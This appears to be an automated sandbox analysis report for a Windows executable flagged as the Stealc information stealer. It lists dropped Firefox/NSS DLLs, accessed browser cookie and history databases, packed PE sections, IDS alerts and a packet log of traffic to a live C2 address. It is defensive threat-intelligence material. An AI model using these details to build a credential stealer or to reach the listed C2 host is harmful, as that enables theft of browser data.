SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950606999770235
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'868'800 bytes
MD5:	8509b1d0b12cf044d13dd9fbb3ee579b
SHA1:	dc83c62582af657323d26fe2114e962ae22c99c1
SHA256:	64db26c376f7d55e6c93a7d149d52b4e1e8f137408bd3cb40ebee452593b3c81
SHA512:	5a0e32b03db3dae717e6af7dc8e3072ba01b19d3c55576e650e2b7a9e6cbc9ae1c8119a33e447eb33bd0f8c405659a24a007d9ee31fb930961e05aca0e5af7a5
SSDEEP:	49152:iMxphMe8uFVRNn1FQ1QFi4TVkv8nAMRx:iMqjEVL1LiWVtAMRx
TLSH:	238533122932FADCC1DF95B1FC5B5F553E9EB089B5879E3B1C5D6062AB0B38B29C0240
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xab1000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8B0D3466DAh
punpckldq mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F8B0D3486D5h
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	ad71bf8fca4104b785508afa8a8cf697	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2af000	0x200	d1ddeee7b17435f7100a9dd9437b2147	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
aaymnagk	0x50d000	0x1a3000	0x1a2200	5940ccceba828e47477549691d96d74a	False	0.9949633314648729	data	7.954427573511867	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pkijywez	0x6b0000	0x1000	0x400	294878d3f5677c5bac0777f2722ce7eb	False	0.7421875	data	5.7879632632002105	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6b1000	0x3000	0x2200	830a5f9deddbdeb6ffdbab7924dacddf	False	0.06732536764705882	DOS executable (COM)	0.7871149876134164	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T05:27:09.089604+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T05:27:09.314062+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T05:27:09.320317+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.5	49706	TCP
2024-10-08T05:27:09.536797+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T05:27:09.543520+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.5	49706	TCP
2024-10-08T05:27:10.520292+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T05:27:11.079810+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T05:27:16.166802+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T05:27:17.252034+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T05:27:17.907372+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T05:27:18.446496+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T05:27:20.374681+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T05:27:20.878212+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49706	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 05:27:08.096972942 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:08.101982117 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:08.102075100 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:08.102214098 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:08.106987000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:08.830108881 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:08.830322027 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:08.833779097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:08.838699102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.089534998 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.089603901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:09.091685057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:09.096442938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.313982964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.314008951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.314062119 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:09.314062119 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:09.315515041 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:09.320317030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.536602974 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.536695957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.536709070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.536740065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.536755085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.536767960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.536782980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.536797047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:09.536797047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:09.536797047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:09.536834002 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:09.536834002 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:09.536844015 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:09.538717031 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:09.543519974 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.763657093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.763829947 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:09.786732912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:09.786767960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:09.792716980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.792731047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.792748928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.792756081 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.793242931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.793251991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.793818951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:09.793828011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:10.520198107 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:10.520292044 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:10.859328985 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:10.864337921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.079720020 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.079742908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.079751968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.079762936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.079773903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.079783916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.079794884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.079809904 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.079849958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.079869032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.079880953 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.079890966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.079902887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.079911947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.080043077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.080043077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.080043077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.080043077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.080043077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.080043077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.204031944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.204082012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.204119921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.204155922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.204278946 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.204333067 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.204335928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.204370022 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.204389095 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.204391003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.204441071 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.204483032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.204533100 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.204555035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.204591990 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.204608917 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.204626083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.204643965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.204679012 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.205060005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.205095053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.205117941 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.205137014 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.205143929 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.205173016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.205189943 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.205208063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.205220938 CEST	49706	80	192.168.2.5	185.215.113.37
